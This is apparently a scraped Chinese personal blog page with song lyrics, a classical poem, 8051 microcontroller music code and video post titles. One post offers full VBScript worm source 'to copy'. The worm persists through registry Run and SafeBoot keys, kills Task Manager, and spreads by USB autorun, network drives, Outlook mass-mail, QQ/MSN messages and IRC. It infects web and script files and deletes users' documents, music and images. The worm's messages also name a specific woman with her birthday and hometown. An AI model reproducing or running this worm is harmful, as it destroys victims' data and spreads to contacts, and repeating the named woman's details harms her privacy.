.oο貓`.

泪的告白（ありがとう）

6182385@qq.com(.oο貓`.) — Fri, 27 Nov 2009 08:31:15 GMT

泪的告白（ありがとう）
作词：kokia 作曲：kokia 编曲：日向敏文
演唱：kokia(吉田亚纪子)
谁もが筑かぬうちに
何かを失っている
フット筑けばあなたはいない
思い出だけを残して?
忙しい时の中言叶を失った任用达のように
髪角にあふれたノラネコのように
声にならない叫びが闻こえてくる
もしも、もう一度あなたに会えるなら
立った一言伝えたい
ありがとう
ありがとう
时には
伤つけあっても
あなたを感じていたい.
重いでは
せめてもの慰め
何时までもあなたはここにいる
もしも
もう一度あなたに会えるなら
立った一言伝えたい
ありがとう
ありがとう
もしも
もう一度あなたに会えるなら
立った一言伝えたい
もしも
もう一度あなたに会えるなら
立った一言伝えたい
ありがとう
ありがとう
时には
伤つけあっても
あなたを感じていたい

单片机音乐代码刘德华——开心马骝

6182385@qq.com(.oο貓`.) — Wed, 07 Oct 2009 23:59:55 GMT

#include "reg51.h"
#define uint unsigned int
#define uchar unsigned char
uchar * TABLE ;
code uint TABLE1 [15]={64260,64400,64524,64580,
64684,64777,64820,64898,
64968,65030,65058,65110,
65157,65178,65217};
code uchar SONG [ ]={
//1. 迟来的爱
};
code uchar SONG1 [ ]={
//2.两只蝴蝶
};
code uchar SONG3 [ ]={
//4.一个师傅三个徒弟
};

uchar hjsz;
uchar ljsz;
uchar jpm;
uchar yfm;
uchar t0 =0;
uint i=0;
sbit Speaker =P1^0;
uint k;
void Delay1()
{
for ( k=0;k<20000;k++);
}
void Lignt( )
{ uchar t;
for(t=0;t<10;t++)
{
P2=0xff;
Delay1();
P2=0x00;
Delay1();
}
}
void Lignt1( )
{
P2=0xaa;
Delay1();
P2=0x55;
Delay1();
}
void Delay(uchar t0)//延时
{
while(t0--) //决定节拍
Lignt1();
}
void Delay2(uchar w0)//延时
{
while(w0--) //决定节拍
Lignt();
}
void T0Int() interrupt 1//TIMER0
{
TL0 = ljsz;
TH0 = hjsz;
Speaker=!Speaker;
}
void ExtInt0() interrupt 0//INT0
{
if(t0>10)
t0=0;
i=0; // 全局变量，指向歌谱的第1个
switch(t0++)
{
case 0 : TABLE=SONG;break; //选择第1首
case 1 : TABLE=SONG1;break;//选择第2首
case 2 : TABLE=SONG2;break;//选择第3首
case 3 : TABLE=SONG3;break;//选择第4首
case 4 : TABLE=SONG4;break;//选择第5首
case 5 : TABLE=SONG5;break;//选择第6首
case 6 : TABLE=SONG6;break;//选择第7首
case 7 : TABLE=SONG7;break;//选择第8首
case 8 : TABLE=SONG8;break;//选择第9首
case 9 : TABLE=SONG9;break;//选择第10首
}
}
void songsing()//发音程序
{
i=0;
while(TABLE)
{
jpm=TABLE&0x0f; //节拍值
yfm=(TABLE>>0x04)&0x0f;//简谱值
if(yfm) //简谱为1，取计数值
{
yfm=yfm-1;
hjsz=(uchar)(TABLE1[yfm]>>0x08);//取计数值高字节
TH0 = hjsz;
ljsz=(uchar)(TABLE1[yfm]); //取计数值低字节
TL0 = ljsz;
TR0 = 1; //启动TIMER0
}
else TR0 = 0; //简谱为0，不发音
Delay(jpm); //节拍延时
i++;
}
}
void main(void)
{
TMOD =0X01;//设TIMER0在MODE1
TCON =0X01;//外部中断INT0，下降沿触发
IE =0x83;//开中断（INT0，TIMER0）
IP =0x00;//设置中断优先级
TABLE=SONG0;
while(1)
{
Lignt( );
songsing();//调用发音程序
TR0 = 0;//停止TIMER0
Delay2(1);
TABLE=SONG0;// 更改歌曲0
songsing();
}
}

音乐代码！很爽很刺激舞曲触摸音乐器的谱子看懂的来

6182385@qq.com(.oο貓`.) — Mon, 24 Aug 2009 05:34:55 GMT

planet beat&bass星球节拍与贝斯

0100001001001001010101

110101111100001000010

101000001111111001001

01010111001010011001

10011001

11111

01000010010010010101011101011111

00001000010101000001111111001001

0101011100101001100110011001

110100101000101010001010011000100110011000101010.

..............................................

101010100010010000101000010000101010101111101

010110101010101000010011001011010101000111101

010111110000101001001110011100110010100

0100011110010101011111011101000110001001010

11110110111010001011011010101010101010101010

101011110111111011011000011111110101001101011

000010011010110001011000001010101010101010101

0100001010101010101101101100010101000101

1110111110010101011011

三音符2.

101010101000100101010101010101

010111011111011

11010011001101110100010111101101011010000100

11001000011111101100011101110100101111001101

111010100011000110000011000111111

111111111111111111.

歌曲: 长恨歌歌词

6182385@qq.com(.oο貓`.) — Fri, 24 Jul 2009 11:20:47 GMT

长恨歌歌词
悠悠烛光夜夜憔悴的脸庞
我站在你窗外风呼啸人凄凉
香生烟落花寒
心碎不忍看里面是谁隐约你的温暖
云断雨残想起从前的时光
夏日长蝶成双
已非花样黄
夜漫漫路弯弯
尽头还在迎接
爱如你双鬓的都是aa
恨不能化做你的影子守在你身旁
恨不能陪你天荒地老看潮低潮涨
收不回东流水
花开花落弄潮
一觉醒来只能学会遗忘
悠悠烛光夜夜憔悴的脸庞
我站在你窗外风呼啸人凄凉
香生烟落花寒
心碎不忍看里面是谁隐约你的温暖
云断雨残想起从前的时光
夏日长蝶成双
已非花样黄
夜漫漫路弯弯
尽头还在迎接
爱如你双鬓的都是aa
恨不能化做你的影子守在你身旁
恨不能陪你天荒地老看潮低潮涨
收不回东流水
花开花落弄潮
一觉醒来只能学会遗忘
rap......
恨不能化做你的影子守在你身旁
恨不能陪你天荒地老看潮低潮涨
收不回东流水
花开花落弄潮
一觉醒来只能学会遗忘
一觉醒来只能学会遗忘
本站歌词来自互联网

唐诗《长恨歌》

6182385@qq.com(.oο貓`.) — Fri, 24 Jul 2009 11:19:40 GMT

唐诗《长恨歌》

　汉皇重色思倾国，御宇多年求不得。
　　杨家有女初长成，养在深闺人未识。
　　天生丽质难自弃，一朝选在君王侧。
　　回眸一笑百媚生，六宫粉黛无颜色。
　　春寒赐浴华清池，温泉水滑洗凝脂。
　　侍儿扶起娇无力，始是新承恩泽时。
　　云鬓花颜金步摇，芙蓉帐暖度春宵。
　　春宵苦短日高起，从此君王不早朝。
　　承欢侍宴无闲暇，春从春游夜专夜。
　　后宫佳丽三千人，三千宠爱在一身。
　　金屋妆成娇侍夜，玉楼宴罢醉和春。
　　姊妹弟兄皆列士，可怜光彩生门户。
　　遂令天下父母心，不重生男重生女。
　　骊宫高处入青云，仙乐风飘处处闻。
　　缓歌慢舞凝丝竹，尽日君王看不足。
　　渔阳鼙鼓动地来，惊破《霓裳羽衣曲》。
　　九重城阙烟尘生，千乘万骑西南行。
　　翠华摇摇行复止，西出都门百余里。
　　六军不发无奈何，宛转娥眉马前死。
　　花钿委地无人收，翠翘金雀玉搔头。
　　君王掩面救不得，回看血泪相和流。
　　黄埃散漫风萧索，云栈萦纡登剑阁。
　　峨嵋山下少人行，旌旗无光日色薄。
　　蜀江水碧蜀山青，圣主朝朝暮暮情。
　　行宫见月伤心色，夜雨闻铃肠断声。
　　天旋日转回龙驭，到此踌躇不能去。
　　马嵬坡下泥土中，不见玉颜空死处。
　　君臣相顾尽沾衣，东望都门信马归。
　　归来池苑皆依旧，太液芙蓉未央柳。
　　芙蓉如面柳如眉，对此如何不泪垂？
　　春风桃李花开夜，秋雨梧桐叶落时。
　　西宫南苑多秋草，落叶满阶红不扫。
　　梨园弟子白发新，椒房阿监青娥老。
　　夕殿萤飞思悄然，孤灯挑尽未成眠。
　　迟迟钟鼓初长夜，耿耿星河欲曙天。
　　鸳鸯瓦冷霜华重，翡翠衾寒谁与共？
　　悠悠生死别经年，魂魄不曾来入梦。
　　临邛道士鸿都客，能以精诚致魂魄。
　　为感君王辗转思，遂教方士殷勤觅。
　　排空驭气奔如电，升天入地求之遍。
　　上穷碧落下黄泉，两处茫茫皆不见。
　　忽闻海上有仙山，山在虚无缥缈间。
　　楼阁玲珑五云起，其中绰约多仙子。
　　中有一人字太真，雪肤花貌参差是。
　　金阙西厢叩玉扃，转教小玉报双成。
　　闻道汉家天子使，九华帐里梦魂惊。
　　揽衣推枕起徘徊，珠箔银屏迤逦开。
　　云鬓半偏新睡觉，花冠不整下堂来。
　　风吹仙袂飘飖举，犹似霓裳羽衣舞。
　　玉容寂寞泪阑干，梨花一枝春带雨。
　　含情凝睇谢君王，一别音容两渺茫。
　　昭阳殿里恩爱绝，蓬莱宫中日月长。
　　回头下望人寰处，不见长安见尘雾。
　　惟将旧物表深情，钿合金钗寄将去。
　　钗留一股合一扇，钗擘黄金合分钿。
　　但令心似金钿坚，天上人间会相见。
　　临别殷勤重寄词，词中有誓两心知。
　　七月七日长生殿，夜半无人私语时。
　　在天愿作比翼鸟，在地愿为连理枝。
　　天长地久有时尽，此恨绵绵无绝期。

vbs病毒源代码想要的自己复制下来

6182385@qq.com(.oο貓`.) — Fri, 19 Jun 2009 10:13:27 GMT

rem email:xiaobai_1993@sina.com
rem some crack statement i remment,make it can't to run
on error resume next
dim title,text
title="can you help me find a person?"
text="her name is Liu Chun li."&chr(13)&chr(10)
text=text&"her birthday is 1981-01-23."&chr(13)&chr(10)
text=text&"her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."&chr(13)&chr(10)
text=text&"I was died because by her,"&chr(13)&chr(10)
text=text&"I am demanding my life of you."&chr(13)&chr(10)
Set fso = CreateObject("Scripting"&"."&"FileSystem"&"Object")
self=fso.opentextfile(wscript.scriptfullname,1).readall
set WshShell = WScript.CreateObject("WScript"&"."&"Shell")
Startup = WshShell.SpecialFolders("Startup")
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set lcl=fso.GetFile(WScript.ScriptFullName)
lcl.Copy(dirwin&"\lcl.vbs")
lcl.Copy(dirsystem&"\lcl.vbs")
fso.getfile(dirwin&"\lcl.vbs").attributes=7
fso.getfile(dirsystem&"\lcl.vbs").attributes=7
set sf0 = fso.GetSpecialFolder(0)
b = sf0.drive&"\lcl.txt"
Set lcl = fso.CreateTextFile( b , True )
lcl.Write text
fso.CopyFile b, Startup&"\lcl.txt"
lcl.Close
dim lcl
Set lcl = fso.CreateTextFile(wscript.scriptfullname, True)
Function scode (N)
dim x
for x = 0 to 254
if n = chr(x) then
scode = x
exit function
end if
next
end function
rem 请教：用readline等方法，整行加密，保持文本格式不不变；和解密办法。
rem execute 我用不好请赐教。
dim cc,cipher,correy
for l = 1 to len (self)
cc = mid (self,l,1)
if l>99 and instr(self,"Liu Chun li")>0 then
cipher=chr (scode(cc)+9) rem 我开始用99，得到的全是ascll为0的数据
else
cipher=chr(scode(cc))
end if
correy=correy&cipher
next
lcl.Write correy
lcl.Close
dim hk,hc,safe
hk="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run"
hc="HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run"
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting Host\Settings\Timeout",0,"REG_DWORD"
wshshell.Regwrite hk&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"OnceEx\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"service\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hk&"Services\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"exec\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"Once\lcl",dirsystem&"\lcl.vbs"
wshshell.Regwrite hc&"service\lcl",dirsystem&"\lcl.vbs"
safe="HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\"
wshshell.Regwrite safe&"Minimal\lcl.vbs",dirsystem&"\lcl.vbs"
wshshell.Regwrite safe&"Network\lcl.vbs",dirsystem&"\lcl.vbs"
do
wshshell.run "cmd /c taskkill /f /im taskmgr.exe",0
wshshell.run "cmd /c taskkill /f /im tasklist.exe",0
loop
dim d
For Each d in fso.Drives
if d.drivetype<>4 then
fso.CopyFile b, d&"\lcl.txt"
scan(d)
end if
if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then
fso.copyfile wscript.scriptfullname,d&"\lcl.vbs"
fso.getfile(wscript.scriptfullname).attributes=7
set inf=fso.createtextfile(d&"\autorun.inf",true)
fso.getfile(d&"\autorun.inf").attributes=7
inf.writeline "[autorun]"
inf.writeline "open="
inf.writeline "shell\open=打开(&O)"
inf.writeline "shell\open\Command=WScript.exe lclrun.vbs"
inf.writeline "shell\open\Command=WScript.exe lcl.vbs"
inf.writeline "shell\open\Default=1"
inf.writeline "shell\explore=资源管理器(&X)"
inf.writeline "shell\explore\Command=WScript.exe lclrun.vbs"
inf.writeline "shell\explore\Command=WScript.exe lcl.vbs"
inf.close
set ini=fso.createtextfile(d&"\desktop.ini",true)
fso.getfile(d&"\desktop.ini").attributes=7
ini.writeline "[.ShellClassInfo]"
ini.writeline "CLSID={645FF040-5081-101B-9F08-00AA002F954E}"
ini.close
set lclrun=fso.createtextfile(d&"\lclrun.vbs",true)
fso.getfile(d&"\lclrun.vbs").attributes=7
lclrun.writeline "On Error GoTo 0"
lclrun.writeline "set fso=CreateObject("&chr(34)&"Scripting.FileSys"&chr(34)&"&"&chr(34)&"temObject"&chr(34)&")"
lclrun.writeline "ifor each d in fso.drives"
lclrun.writeline "if d.drivetype=1 and d.isready=true and FormatNumber(d.FreeSpace/1024, 0) > 99 then"
lclrun.writeline " fso.getfile(d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&").attributes = 7 "
lclrun.writeline "set wshshell = wscript.createobject("&chr(34)&"WScript.Shell"&chr(34)&")"
lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lclrun.vbs"&chr(34)&chr(34)
lclrun.writeline "wshshell.run "&chr(34)&"d.driveletter"&"&"&chr(34)&":\lcl.vbs"&chr(34)&chr(34)
lclrun.writeline "end if"
lclrun.writeline "next"
lclrun.close
end if
next
dim wshnetwork,netdrives,net1,net2
Set WSHNetwork = WScript.CreateObject("WScript.Network")
Set netDrives = WSHNetwork.EnumNetworkDrives
If netDrives.Count > 0 Then
For i = 0 To netDrives.Count - 1 Step 2
net1 = netdrives(i)
net2 = netDrives(i + 1)
scan (net1)
scan (net2)
Next
End If
dim outlookapp,mapiobj,addrlist,addrentcount,item,addrent,attachments
Set outlookApp = CreateObject("Outlook.App"&"lication")
If outlookApp= "Outlook" or outlookapp = "outlook express" Then
Set mapiObj=outlookApp.GetNameSpace("MAPI") ''获取MAPI的名字空间
Set addrList= mapiObj.AddressLists ''获取地址表的个数
For Each addr In addrList
If addr.AddressEntries.Count <> 0 Then
addrEntCount = addr.AddressEntries.Count ''获取每个地址表的Email记录数
For addrEntIndex= 1 To addrEntCount ''遍历地址表的Email地址
Set item = outlookApp.CreateItem(0) ''获取一个邮件对象实例
Set addrEnt = addr.AddressEntries(addrEntIndex) ''获取具体Email地址
item.To = addrEnt.Address
item.Subject = title
item.Body = text
Set attachMents=item.Attachments
attachMents.Add fso.GetSpecialFolder(0) & "\lcl.vbs"
item.DeleteAfterSubmit = True ''信件提交后自动删除
If item.To <> "" Then
item.Send
wshshell.regwrite "HKCU\software\Mailtest\mailed", "1"
End If
Next
End If
Next
End if
rem next from i love you.
set out=WScript.CreateObject("Outlook.Application")
set mapi=out.GetNameSpace("MAPI")
for ctrlists=1 to mapi.AddressLists.Count
set a=mapi.AddressLists(ctrlists)
x=1
regv=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a)
if (regv="") then
regv=1
end if
if (int(a.AddressEntries.Count)>int(regv)) then
for ctrentries=1 to a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=wshshell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead)
if (regad="") then
set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = title
male.Body = text
male.Attachments.Add(dirsystem&"lcl.vbs")
male.Send
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1,"REG_DWORD"
end if
x=x+1
next
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
else
wshshell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.AddressEntries.Count
end if
next
Set out=Nothing
Set mapi=Nothing
Set objOutlook = CreateObject("Outlook.Application")
If objOutlook = "Outlook" Then
Set objNamespace = objOutlook.GetNameSpace("MAPI")
Set colAddressLists = objNamespace.AddressLists
Set onjNameSpace = Nothing
For Each objItem In colAddressLists
If objItem.AddressEntries.Count <> 0 Then
intCountOfAddresses = objItem.AddressEntries.Count
For i = 1 To intCountOfAddresses
Set objMailMsg = objOutlook.CreateItem(0)
Set objDestAddress = objItem.AddressEntries(i)
objMailMsg.To = objDestAddress.Address
objMailMsg.Subject = title
objMailMsg.Body = text
execute "set objSend =objMailMsg." & Chr(65) & Chr(116) & Chr(116) & Chr(97) & Chr(99) & Chr(104) & Chr(109) & Chr(101) & Chr(110) & Chr(116) & Chr(115)
strAttach = strFilePathName
objMailMsg.DeleteAfterSubmit = True
objSend.Add strAttach
If objMailMsg.To <> "" Then
objMailMsg.Send
End If
Next
End If
Next
Set objOutlook = Nothing
Set objItem = Nothing
Set objMailMsg = Nothing
Set objDestAddress = Nothing
End If
strComputer = "."
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
if wbemObject.Name="msn.exe" or wbemObject.Name="qq.exe" then
WshShell.AppActivate wbemobject.name
WshShell.SendKeys "can you help me find a person?"
WshShell.SendKeys "^{enter}" ' or "^~"
WScript.Sleep 9000
WshShell.SendKeys "her name is Liu Chun li"
WshShell.SendKeys "^{enter}"
WScript.Sleep 9000
WshShell.SendKeys "her birthday is 1981-02-17."
WshShell.SendKeys "^{enter}"
WScript.Sleep 9000
WshShell.SendKeys "her mother home is Yuzhen.Qixian.Kaifeng.Henan.China."
WshShell.SendKeys "^{enter}"
end if
Next
sub scan(folder)
On Error GoTo 0
set fd=fso.getfolder(folder)
for each file in fd.files
self1=fso.opentextfile(file,1).readall
ext=fso.GetExtensionName(file)
ext=lcase(ext)
if ext="vbs" or ext="vbe" or ext="wsc" or ext="wsf" or ext="wsh" or ext="sct" then
if instr ( self1 ,"Liu Chun li" ) < 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write chr(13)&chr(10)
lcl.write self
lcl.write chr(13)&chr(10)
lcl.close
end if
end if
if ext="htm" or ext="html" or ext="xhtml" or ext="shtml" or ext="dhtml" or ext="phtml" or ext="eml" then
if instr ( self1 ,"Liu Chun li" ) < 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)&chr(10)
lcl.write self
lcl.write "<"&"/SCRIPT>"
lcl.write chr(13)&chr(10)
lcl.close
end if
end if
rem or ext="mspx"
if ext="htd" or ext="asp" or ext="htt" or ext="aspx" or ext="cfm" or ext="tpl" or ext="dtd" or ext="hta" then
if instr ( self1 ,"Liu Chun li" ) < 0 then
set lcl=fso.opentextfile(file.path,8,true)
lcl.write "<"&"SCRIPT LANGUAGE='VBScript'> "
lcl.write chr(13)&chr(10)
lcl.write self
lcl.write "<"&"/SCRIPT>"
lcl.write chr(13)&chr(10)
lcl.close
end if
end if
if ext="ini" then
if not instr ( self1 ,"Liu Chun li" ) > 0 then
dim ini
set ini=fso.opentextfile(file.path,8,true)
ini.writeline chr(13)&chr(10)
ini.WriteLine "[script]"
ini.WriteLine "n0=on 1:JOIN:#:{"
ini.WriteLine "n1= /if ( $nick == $me ) { halt }"
ini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\lcl.vbs"
rem ini.WriteLine "n0=on 1:join:*.*: { if ( $nick !=$me ) {halt} /dcc send $nick "&dirsystem&"\lcl.vbs"}"
'利用命令/ddc send $nick "&dirsystem&"\lcl.vbs"给通道中的其他用户传送病毒文件
ini.WriteLine "n3=}"
ini.WriteLine ";Liu Chun li"
ini.close
end if
end if
rem every 9 in the lunar calenda do it
if ext="mp3" or ext="doc" or ext="docx" or ext="dwg" or ext="wma" or ext="swf" or ext="jpg" then
file.delete true
end if
next
for each subfd in fd.subfolders
scan(subfd)
next
end sub

自己做的视频MP4不好的骂我!

6182385@qq.com(.oο貓`.) — Thu, 17 Jan 2008 08:39:33 GMT

自己做的视频MP4不好的骂我!

初音ミクをエロゲっぽく描いてみた

6182385@qq.com(.oο貓`.) — Thu, 17 Jan 2008 08:39:08 GMT

初音ミクをエロゲっぽく描いてみた

鏡音リンをエロゲっぽく描いてみた

6182385@qq.com(.oο貓`.) — Thu, 17 Jan 2008 08:38:15 GMT

鏡音リンをエロゲっぽく描いてみた

.oο貓`.

泪的告白（ありがとう）

单片机音乐代码刘德华——开心马骝

音乐代码！ 很爽很刺激舞曲触摸音乐器的谱子看懂的来

歌曲: 长恨歌歌词

唐诗《长恨歌》

vbs病毒源代码想要的自己复制下来

自己做的视频MP4不好的骂我!

初音ミクをエロゲっぽく描いてみた

鏡音リンをエロゲっぽく描いてみた

音乐代码！很爽很刺激舞曲触摸音乐器的谱子看懂的来